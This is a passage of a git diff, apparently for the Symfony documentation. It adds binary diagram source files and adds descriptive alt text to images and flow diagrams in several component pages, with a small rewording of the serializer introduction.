zPK+7{`kHk;QOstey=t}-##Y+MI`lbT+s8f^<1_2RZaS2RBLijCdo5tE2NhdF)z_WV
zC$wY{r#4nX2Zw4^&vHU&Fv@_k?G2_U$)ga{>0z(KYO3O>Uvr{{O_64@N0pDCC^L=;
zIi;{D-BD6DpYof%zs^f82KmKS;bMEgB)rh2HgU^ooT78O$1OwGY}*4*$mOJA1IH~J
zxLx8_$=FI8HO4JVLY9QAULnhD5wc(_h_#*DxWn<BP!yH`mfO70TjQRF20N|w)=aJf
zTtTS0rt1zIttL**F+;~<wt$RTw<YCGChU~_iK9W&bu1oDKxkON@yrerDzL8QhMYlr
z%b%pmM6|U$m_ON%!D^KN9aiGQz{LLZPST|Fl}7sN8EjYj6k@x%nx_Tvc!1}hz4?g$
zUE+i(;wd4SyXh%+13ZmuG6%NidZs1wH?`{}g%ym%v*0C$+1S0Egk&+Aai9AOU$)#q
z>Bz-R)o|a3k#ToQlBF*m$j54JRBWf>-D_db%GB&G6K5h2wB0Mi)I7tnxHk72D0t7@
z_8iQA{wdD>`9+bH?>$w%7uTgMeV3*0{XAP#$o4%}2Y|+pN%M%-5fQC;wz5mWg_`ZT
zHdg~I!-ZFdu6Y0mwJxx1Sa&0r(h;V?@%@U@L6)TMbj|~!6%StPb&0R!@uJw1vM(2D
zI~Fo!>g{W#-rPd!O>aGYR$dwe8b7)X-GSSwmnF6*owPE@6e)fHx~~kXJ)~0-Ted6=
zs#_Qo1QXwvg+bq4HSWjXN4KBe{PoA3Of2<R6y(V=+<wb&0c?S5f!R6P0%MD9oj%wW
zn38TK-AcOcsSa0CZO>E-ELnfsFVz|?P%YHEr&@1Awb1B;YN0NvR#L5`+MXiY_qTU4
kwC(?S7a;kzCf{c7({Jv*x!C!7;G2v80XK4VnVDk%023e8i2wiq

literal 0
HcmV?d00001

diff --git a/_images/sources/form/form_workflow.dia b/_images/sources/form/form_workflow.dia
new file mode 100644
index 0000000000000000000000000000000000000000..30f9acabe2b1c0a2f979c40eab096e2a46b4f511
GIT binary patch
literal 1871
zcmV-V2e9}biwFP!000021MOT}lbbdae$TI9NFLG|uZ$$bC7az$FO#P>%{1GWym(|I
z+iEblLSC=?(BEDO*tLzp7clN7fy_E<R-7XVo$ve3LH65s53|s?XCmQobYntbnFfnS
zaloU=jrr%@`zz0Ucl+XP!08+HGZA!Vs4JpGzq>J~QqJG>`^)7LgsX(gSb&f(K*IX}
z(lDfb)u?aYzA%hU0|Av(pUcluDFq)cBr_s9V>jlIj=oGpyodrbYn8Vf#bGRrdm7%D
zFUR>|_H#r1ElYc>&*_8>1*2c8ja%yQ{d&gdOcV{z=5fMR6S<o2G^wzoUpLz1trFEJ
zn%utp(SDhADL=8cRo2l;Cvrx`gh#u6)a-=WR3P9XgdXSNbQi<+U4-qs5be9*$zUD}
zDJYk_ZiaCjG8$!`q*$=}ev%Ol)sopa6j<N-m`fQS=>M38$uR@SPCrG@sgXDlJlG$I
zTP-TA1S|DFAGLZ*mOPNt!9z>8B(uJ1$@)D{_%LK;z2}iUoB7pw%okTciuvoy8?Ly_
zS|zCj9wUs@A(hF32P}EIuCmGCKo2ZyJk~#__aNZOJfy4r@l<S7VT(qRD-5Cu3(kZT
zRZthv`IU^X3US^7ran5#?$ae)#lyeYsAZ;@#>)%LUFzim6Q})*;wVznriAX*JXQd5
zCYQ(JMs}*8fm5$4Y?#P<`qNtd8ae*uJu&kB(~VP94d?#x-9`jw3nY)sPm)Ff6@hVO
z{1iW!YqhVmJ`Zlp->vP)E>4~@rqoGNjO=s{vzhXHei27^r>V;Ha9Fe~^eCfA$eyfU
zW4DK4Js&J&Glh*J+ST3X7(!}3rP<wKJjp|^f$b^dld0Te9Mv;Ej77l2p{_#!U1Iw-
zCYF}Co=eyj_8NKI=BXpHyVJbrSRa%mk%vRPoDuu$fU1hH_hGyoO{tKTAqJa<7<77&
zv>0TN0H5@rtzNH@4J`G$2M{K>&7f;AsAIye&8WiwdIYJ^@GRm%<oUSGD6{~yvIE+_
z1)&3L20d34a!drG^xyM{z)HcbSJyz$fG?7LQ-}P*QP1C;2ElgjT=Z1Wu4E6=Jdmms
z+EmSZS`XT4S128QU`t~hi&;ehX^*U`O8MhRmO0etjj>9e!_|%X@y_@}qr~_?g@~7?
zk;s*nFbW$pBR|Ir!I{|9TBrA9Ctyp-3_0lvAP^!O`VcqsxeeK62#2g5bb#+8r<tc>
z#8wtAH#59?u2gn5iDs<)zOraBD@nZf>G3jo+$z_ird*4>cDWY0Yp%u4g}AoCpgOMY
zxVGckQ@Qq|VDoss2&rU2N4l3JU5q-?y)^0K#-xjS$ZeB!p(b7Aq@-(U(p9gmlWzS%
zb)?&oZb!POlJ2L)aK>fFxR*|IogVT!#%+ml@0ghJh=v=q3v=4F8$Y@MiWCuW+st=;
zU~3-^xmL2wvpuhe2*5Qx&X}Z!&?Mj^+3LfhW|MXdwYvb>o=en1M@pnX*SFhzgam4i
zB;*mh7`3O)G!QKIQu{7EoZ@86!|(_vLloF-_`LN)I$tRX6&<YM&DwgvUAZynyfWfx
zK|CJt`3s9b*xw75NJBrk?_|Y=WCc`72(lG<*ub`J(rJss+G0<r4D|lYlE^IW&`FpX
z^7&vI3;vH<w@Rk$gR{b}u9Mv;1tj^XJtxUxs5i+nvo<UqqwY4g<lJe1+7))BaXkh0
z5LTMYfo<*@aDjy(O2rU%px!y)J6hji;9JgD0P9nAA3~Oc`|DRC`{f7YyM=g&Jbl>2
zwy}$d(|YDuvP?U4KQUtN(=JuxI&P?izpdR`8{qq^lE@{+Y^V8dE#RhkuH7d1I>7NW
zuyq_?fv*D;=4z(^W6Q5wbc~__i-MgUvd0Xuyf9RA4%F%$&5Io<+xLI&oTzT59R-67
zzt0_qPnHKEizfSXZPL`m!EF9W59{65$qslt{>8}XHw`=)r{yeT{a1C9chl37i(!7T
zzkM;<{b)y_M`x_Vxy>Jc0n&q3n-9PcuzNo6uaOU&9z?+TdJAxkX6vZ(TUTxCs%>4h
z?f**4ev1PZcD1$(Kf;4h3Cga_)|J`5pE8@*ShqRACY}-_7!bSNUBi!_5b%jZuCc-h
z3#a>tA#%v`2la%>UlgLhex-4}E3sX!#I|0dp6h&b@NPYyIveWhY~|?tnNL2`Nuk>I
zh{1ki47T(KD4<t&FXwU9Hb4E)hVp|6*0nZWW9uO|t-00oE97)=u+UaEy3$q%9;(D0
zY~VH+h!Q5-vAR!&9ZZZGt0lUSv0Cb7O6*)BrmOfhulT`2#SfoS@xyIY{Eme!*!XJ`
z^yd`P4}PIGWg|(S4&)eut})Vk-!Fh$Wuq%?)!|l$TVEY+p#p9>&k46G9&19_Jloaj
zC%FV%A(gbOWfp7zS4Th6+!@_LH0qvbb||qACENl^*e6GN_CEcFsM{A?Um<n-;y;-p
J@EN^T000pny%hie

literal 0
HcmV?d00001

diff --git a/_images/sources/http/xkcd-full.dia b/_images/sources/http/xkcd-full.dia
new file mode 100644
index 0000000000000000000000000000000000000000..a730d01c3ef4ecfe5f1b7c6732046847b9e22a96
GIT binary patch
literal 1612
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
K(pLe!N&o;>juP1b

literal 0
HcmV?d00001

diff --git a/_images/sources/http/xkcd-request.dia b/_images/sources/http/xkcd-request.dia
new file mode 100644
index 0000000000000000000000000000000000000000..3796228bf1d16f1e935a3b9fa088a54b3f99e14f
GIT binary patch
literal 1380
zcmV-q1)KUGiwFP!000021MON_Z{s!)e$TH^m509AvPem`v{@%;7Fe`E(H7YB*`O_2
zW+RgZMceU9e|xDTK6LnyOmB*n0xK{@eZymBzL}vvKfTREZH0M67#-@sFm(;n3G)dJ
zhWg(xU%RgU^mzB#C+L&>1RTvZ`38;RZ$o`1#Nt!0w_dM}a1$ZHxDk@25#ipyC=5|g
zcIxSmcbc{j;3I+JwyYHi!O3_jutw1w5A`vcyat>tsjsKKvVId5GOn#qIMnZ_*`@a~
zpxyz}5%dKL@R(!tS`BW>%k%1iFEGyo&lfBrvWwU(3SBC2;`?5otXCvE(ctm^7yCXP
zQr57;DjR5}5HUwQAhak)u1=UP1vFd;;rlvVE@G@+M5tZ_S1*D@qXpxFBO;1o#*Bp+
z(NvP)OI%-0G(n+MnPXD{_0gw92zFxpQxrz$OdxIETF<4H7;xerH^hS;6)65j{wEWq
zTe2p;n2p{PZAps0QG~uC5gCWLZ1jYRtHE!s1E1G`#OLo`Z>Vu8S|zFYE_Sd}hg5<k
z@o}_$ud>VN#0X4tI*mV<kH9C<B1D_x_LT2bfrY3b(g&dk`&aT5Rj!VrMOUzH&dwG1
z)OSJYKHWkT8~=kRikV`@);CzYM9K{oE|xQ4l*(n3fo^xfqyxE<$aDQh+LVid6RFZ{
zFwaK%yo-Ld%>QL0(X#QQq-oDOYGb5LNG{3h{o9@wNR=$J?r#E7A8}vnYR~LV-(?Ik
zUm*Ta|I<A54*3m`U^2pq^4=lYhjg_EoqpaI7niyUdOXe}^LUmt2=NyE0eT%!Qw9$4
zT>4i|i?RDPrjWoVR9&3LHpGMtuxFSAGf@o=%zEHs#(m6B4ILO@;MksRIc6Lty8{Pz
zEw_=xL#{g`L%d8%>@P+oiRfuJQO>Hpok3Mu*w>J)Co{xFrHO&2CgyeqDoxDroK9cf
z9)N9_PRElsmDW~!Hs@GdU!k!<m9}OYz)UY-dnN#VP*WU{L~)Lt!Q}5_*jZ(09;?!b
zBcCjzV@n6U+*MEB0{Q-7mYtVW4_Dwfp`S=<a($}SJ*gZW^ve~Qo;h1bm{(Mqj>KP8
zwE;#&nY_4No60OZ+zj=<UbJtBM%o{UOYyoEiA@}*NC%jLd|^vYFy9Z#E+0w3JWCl1
z_7eqg0Dv~|fYnUqp<gcZW&m_t!)_)eZ>*Ko&HXg6o+z2Z1$2(f_Y~9Ryd*n67PObe
z&`QY^HYHOCm9i-WTRMgAE$FoVd|Ezj`LyNJ6MXviI`K70sH>J!Z^o(6X*u<JoVr&6
z`khc*!l_nMPL)BBr;t;D8FQ+eq^Ka~RAAL6)wqy0!qhKR5|7WR^!dIeTrvi!5|c$<
zblJ(sG0<IAG%C2l_b1v+Zhhu81WQU0+U}_oWff*v@-oO?9vr?5i$^fI5nV?+?Zy$G
zqf|Sgz12?W+)6tS=T!Rq|EHa>iFUf*M?0M>_)Y+nJ5PD<_dSqkXdk#zq+wa6r{0GG
za7s<VcU03t-a`FR8gJ!*cQkG_L>`5h2FEiOr>TgOxsh{)!uOtSyu`uw-mlRz+vqp8
z4L4C-N2PgKhCLX>Y5Kr=fY5LtOsvKG_^HXSc=MC?MW%(n$pl4$Gaqe!j-(fylgZN$
zo2&rn#+U8bwl#oGUwHwrprdWNa-q?zk|AB)<xWW${*VWbgXRa0b%V$APaFZ<9XSF=
z`I%$g3AIJiwn*9*N!vrmk9O!N9cNo1z1gXwdxcX+rIeZ;JEokPo;xb%)CN;(Nwp=_
mmQ>r5$B%gO*b-|!Vokp%KWBfuJNV7~<K2IINV8q8IsgDrcAqN%

literal 0
HcmV?d00001

diff --git a/_images/sources/mercure/discovery.dia b/_images/sources/mercure/discovery.dia
new file mode 100644
index 0000000000000000000000000000000000000000..3db5c86f020142edb0a6c34188db63bb049b0d63
GIT binary patch
literal 1454
zcmV;f1yTARiwFP!000021MON}kDE9YeV<=}sMMzn!6p!xG}GNy+kIK>R_g3?WMYT7
z<JibJlZmR`-@fK!CV_-}kPx-qFbbK#<sRGk-gA86-TUVmGoFY{sNh2rShi^pJ{Fkr
zXlVZZ@afh!-{0T7!xY`=PbAUI&{yyz{WUbFO2v2G?qad9*fK#%NQ=?Am5}bgh%waF
zMqTs%#xT|$V5CrbtT>94k~EwvVsJDgLo-C<$4H7f$7XI-*o_4f(s)8_Xug>go7pWK
zbxWRhc#ly;LP^kLy>nY{LD0;3Ok~yZEEWmXCTbaPnAG@5_iHwVRice}bpPhp-kZEh
z#etQtZ4IpjQ8OeX$~STJ=&*b!pyfjdU&i5hh_HPK);@%6AA%;MSV$!iRhuxO5R4$6
zBPls2&2f@3VtUH#>I!J?eL|HId)hxiEIFhD`Qg{-IW`g_N%8JLELqfe!At#3$F1Iy
z1;uJQdT!~K<ldJpd4Hk_4H?<iddk(=+%M1LzB&W4oWHvK#2J@+t0fie6PLJ6NF|z6
zOp@2@YE4FaT439gN%}dy1(+r=L(ARqR5hycg}9<R2cd-EGi8dpRL4<#tHf<3&RfW-
zFF^Tyx&)L6zmjpwOfeOU3yfWca)E(MamIpkJ#1R&-o`>FkTXFZnm6)86%CxB>aZcQ
zXz7QQ`ZbFDSG2?^+K<)_A>Ey)mtSiUoKKJ<GQTLqF_PH0H9m-EbEWpR)~9%A{$-aV
zyE=H<nN}xBHL|lYERwM0cKViA&83?|Rp&kotKMbWQyww$g3wDLTzBBudf$Pz<-5)B
z2qQC{D<$95;pgg729Z(kX187?V{n4+DWTC+)jJ1{1?~0CX$BSwiHY3T725&@4Cn<m
z03LuR!Ig>ZfaTwDC}}bnZCPdR&jH&hv%8A8x)A)t#9}-}Qq{&FI5h@g2lQJFz`*SQ
zPwxkTW$S;_eVYN;yg!FTU%$oRgFi&9QB5X?gc{8LzK>9=mEP%G8cBrdJlQpLFsN+J
z@M45<c@<qnYUWpwXJzhLv{Y>B#yzVHmFy}-q>qdeErDt(Njvma-P&JpwGA&lZcOwl
znk|Rs=Lh2p;)(Gml2R;8BT>s#%jg`KJNYQ)k`lQtx{hzjMtE-HM+<t{1aJX>JrDrr
zG|X~p-j>c>ttWtQ^-ja7hHGv8a($uK3`#H3B0eMA?<(Q**_QS9E?K@!CAZ3`@MKl%
zb^JCN)lDh2pE4@!XO!A&nNpi~=nzT;phZsgekM*0A?}gz%Bepar+!(^G~F$4P#iNl
zMrozt%C8sVSC}r?fo=6Y_e!znq1d&$(PzPye^5@g(5!PR&1TA|&84fG){gYl@Vo#F
z^b*$gfUgl7lWnXAW3*90+}Eud3$V*V6Lw=(<#?25fr|UpymC(TJYs}LyLr_;6=E-Q
zABeE3{U#e^@N&kO>iJ&eOC_?JjIlafTG!WK3yW)E`P%;GbEZmzj*Q5Ml(W`e+$f^4
zca~^ueB%y`N4FDLJ<lBgX!U|DYx~gs{`vj)-yV#v)>n^77g%2t!5RL)^Ske9diOl9
zf06ZbX<q&u<Zib>?sbpTvnDm?gY#(y_vB)CruKR*CMn+v93OUoldaD|`pgOVmgCq#
zo1$T(Uv(z_E|Z{i{;C=-s~RfIUtap`lMNNg;h#k|?5~x1C)dhA2Lx>v%k1p=lb=ST
z11tx)9SAKiXti9{yiW%`0Jb%Wx@*s9+pM2Cmgi)IZ9~}eb!O|g`_u^INqDVr9a-VB
zegF-u8U69jc+1ovefK-L>vl1j32R2=crJ-0#aOH3={$TJslmXIME9#WXWo1>f1%jC
zGt7#JHamu?sA42N_eluzpKICdLS-|My;!4Dk?UWjb%VND{yTet>;9(nhS&Yge-C}t
IkX$hU0MO#(s{jB1

literal 0
HcmV?d00001

diff --git a/_images/sources/mercure/hub.dia b/_images/sources/mercure/hub.dia
new file mode 100644
index 0000000000000000000000000000000000000000..b0dfb9d88d2f1a97e9c6e3c5842d9987b579e896
GIT binary patch
literal 1564
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
OxcLuN61GriOaK7j`VuGr

literal 0
HcmV?d00001

diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index e6d3ea3c78e..b070fd31dd6 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -11,7 +11,7 @@ cursor position in a console command. This allows you to write on any position
 of the output:
 
 .. image:: /_images/components/console/cursor.gif
-   :align: center
+    :alt: A command outputs on various positions on the screen, eventually drawing the letters "SF".
 
 .. code-block:: php
 
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index a5567fe63ed..711d0bd5356 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -8,7 +8,7 @@ the results of running ``figlet symfony``, it might output something like
 this:
 
 .. image:: /_images/components/console/debug_formatter.png
-   :align: center
+    :alt: Console output, with the first line showing "RUN Running figlet", followed by lines showing the output of the command prefixed with "OUT" and "RES Finished the command" as last line in the output.
 
 Using the debug_formatter
 -------------------------
diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index e3f1c8a09d2..f4c2ed93756 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -19,14 +19,17 @@ a very verbose verbosity (e.g. ``-vv``)::
 will result in this output:
 
 .. image:: /_images/components/console/process-helper-verbose.png
+    :alt: Console output showing two lines: "RUN 'figlet' 'Symfony'" and "RES Command ran successfully".
 
 It will result in more detailed output with debug verbosity (e.g. ``-vvv``):
 
 .. image:: /_images/components/console/process-helper-debug.png
+    :alt: In between the command line and the result line, the command's output is now shown prefixed by "OUT".
 
 In case the process fails, debugging is easier:
 
 .. image:: /_images/components/console/process-helper-error-debug.png
+    :alt: The last line shows "RES 127 Command dit not run successfully", and the output lines show more the error information from the command.
 
 Arguments
 ---------
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index dd4e5ec7f78..fa1052d5c1f 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -5,6 +5,7 @@ When executing longer-running commands, it may be helpful to show progress
 information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
+    :alt: Console output showing a progress bar advance to 100%, with the esimated time left, the memory usage and a special message that changes when the bar closes completion.
 
 .. note::
 
diff --git a/components/form.rst b/components/form.rst
index 78a8b652773..f8af0c71090 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -511,7 +511,7 @@ done by passing a special form "view" object to your template (notice the
     {{ form_end(form) }}
 
 .. image:: /_images/form/simple-form.png
-    :align: center
+    :alt: An HTML form showing a text box labelled "Task", three select boxes for a year, month and day labelled "Due date" and a button labelled "Create Task".
 
 That's it! By printing ``form_widget(form)``, each field in the form is
 rendered, along with a label and error message (if there is one). While this is
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 604ca684264..9c8d01da8af 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -72,7 +72,9 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
+    ></object>
 
 The exact details of this workflow are the key to understanding how the kernel
 (and the Symfony Framework or any other library that uses the kernel) works.
@@ -504,7 +506,9 @@ to the exception.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
+        alt="The HTTP KErnel flow diagram showing how exceptions bypass all further steps and are directly transformed to responses."
+    ></object>
 
 Each listener to this event is passed a :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
 object, which you can use to access the original exception via the
@@ -663,7 +667,9 @@ your controller).
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
+        alt="The HTTP Kernel flow diagram with a sub request from a controller starting the lifecycle at step 1 again and feeding the sub Response content back into the controller."
+    ></object>
 
 To execute a sub request, use ``HttpKernel::handle()``, but change the second
 argument as follows::
diff --git a/components/messenger.rst b/components/messenger.rst
index 25f0bcf1aa5..f2b71f38a3d 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -27,7 +27,9 @@ Concepts
 
 .. raw:: html
 
-    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"
+        alt="A flow diagram visualizing how each concept relates to eachother. Each concept is described in the subsequent text."
+    ></object>
 
 **Sender**:
    Responsible for serializing and sending messages to *something*. This
diff --git a/components/serializer.rst b/components/serializer.rst
index 481a48efea6..70101d5ab8b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -8,15 +8,20 @@ In order to do so, the Serializer component follows the following schema.
 
 .. raw:: html
 
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"></object>
-
-As you can see in the picture above, an array is used as an intermediary between
-objects and serialized contents. This way, encoders will only deal with turning
-specific **formats** into **arrays** and vice versa. The same way, Normalizers
-will deal with turning specific **objects** into **arrays** and vice versa.
-
-Serialization is a complex topic. This component may not cover all your use cases out of the box,
-but it can be useful for developing tools to serialize and deserialize your objects.
+    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
+    ></object>
+
+When (de)serializing objects, the Serializer uses an array as the intermediary
+between objects and serialized contents. Encoders will only deal with
+turning specific **formats** into **arrays** and vice versa. The same way,
+normalizers will deal with turning specific **objects** into **arrays** and
+vice versa. The Serializer deals with calling the normalizers and encoders
+when serializing objects or deserializing formats.
+
+Serialization is a complex topic. This component may not cover all your use
+cases out of the box, but it can be useful for developing tools to
+serialize and deserialize your objects.
 
 Installation
 ------------
diff --git a/components/string.rst b/components/string.rst
index 2990cd36e48..48b9a592aac 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -48,7 +48,7 @@ The following image displays the bytes, code points and grapheme clusters for
 the same word written in English (``hello``) and Hindi (``नमस्ते``):
 
 .. image:: /_images/components/string/bytes-points-graphemes.png
-   :align: center
